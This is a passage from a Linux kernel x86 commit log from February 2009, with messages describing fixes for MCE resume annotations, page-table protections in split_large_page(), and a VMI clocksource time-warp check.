Acked-by: Cyrill Gorcunov <gorcunov@openvz.org>
Acked-by: Pavel Machek <pavel@suse.cz>
Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl>
Signed-off-by: Len Brown <len.brown@intel.com>
2009-02-21 21:58:18 -05:00
H. Peter Anvin
cc3ca22063 x86, mce: remove incorrect __cpuinit for mce_cpu_features()
Impact: Bug fix on UP

Checkin 6ec68bff3c:
    x86, mce: reinitialize per cpu features on resume

introduced a call to mce_cpu_features() in the resume path, in order
for the MCE machinery to get properly reinitialized after a resume.
However, this function (and its successors) was flagged __cpuinit,
which becomes __init on UP configurations (on SMP suspend/resume
requires CPU hotplug and so this would not be seen.)

Remove the offending __cpuinit annotations for mce_cpu_features() and
its successor functions.

Cc: Andi Kleen <ak@linux.intel.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-20 23:40:40 -08:00
Ingo Molnar
07a66d7c53 x86: use the right protections for split-up pagetables
Steven Rostedt found a bug in where in his modified kernel
ftrace was unable to modify the kernel text, due to the PMD
itself having been marked read-only as well in
split_large_page().

The fix, suggested by Linus, is to not try to 'clone' the
reference protection of a huge-page, but to use the standard
(and permissive) page protection bits of KERNPG_TABLE.

The 'cloning' makes sense for the ptes but it's a confused and
incorrect concept at the page table level - because the
pagetable entry is a set of all ptes and hence cannot
'clone' any single protection attribute - the ptes can be any
mixture of protections.

With the permissive KERNPG_TABLE, even if the pte protections
get changed after this point (due to ftrace doing code-patching
or other similar activities like kprobes), the resulting combined
protections will still be correct and the pte's restrictive
(or permissive) protections will control it.

Also update the comment.

This bug was there for a long time but has not caused visible
problems before as it needs a rather large read-only area to
trigger. Steve possibly hacked his kernel with some really
large arrays or so. Anyway, the bug is definitely worth fixing.

[ Huang Ying also experienced problems in this area when writing
  the EFI code, but the real bug in split_large_page() was not
  realized back then. ]

Reported-by: Steven Rostedt <rostedt@goodmis.org>
Reported-by: Huang Ying <ying.huang@intel.com>
Acked-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-20 08:35:03 +01:00
Alok N Kataria
48ffc70b67 x86, vmi: TSC going backwards check in vmi clocksource
Impact: fix time warps under vmware

Similar to the check for TSC going backwards in the TSC clocksource,
we also need this check for VMI clocksource.

Signed-off-by: Alok N Kataria <akataria@vmware.com>
Cc: Zachary Amsden <zach@vmware.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Cc: stable@kernel.org
2009-02-20 07:53:08 +01:00